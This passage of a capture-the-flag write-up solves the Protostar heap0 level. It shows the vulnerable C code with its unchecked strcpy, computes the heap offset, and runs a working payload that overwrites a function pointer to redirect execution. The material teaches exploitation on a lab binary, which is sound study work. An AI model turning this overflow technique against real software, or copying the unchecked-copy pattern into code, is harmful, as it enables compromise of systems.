d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]); f->fp();
}
This challenge is a basic heap overflow. It’s the same idea as a stack based buffer overflow. We’ll have to overwrite the fp pointer with the name variable of the data struct. First let’s see where both of those variables are in the heap.
1 2 3 4 5 6
user@protostar:~$ /opt/protostar/bin/./heap0 aaaa data is at 0x804a008, fp is at 0x804a050 level has not been passed user@protostar:~$ python -c 'print 0x804a050-0x804a008' 72 user@protostar:~$
Then it’s the same principle as a stack based buffer overflow, we get the right addrress to write in fp and we test the exploit.
1 2 3 4 5 6 7
user@protostar:~$ objdump -t /opt/protostar/bin/heap0 | grep winner 08048464 g F .text 00000014 winner 08048478 g F .text 00000014 nowinner user@protostar:~$ /opt/protostar/bin/./heap0 $(python -c 'print 72*"a"+"\x64\x84\x04\x08"') data is at 0x804a008, fp is at 0x804a050 level passed user@protostar:~$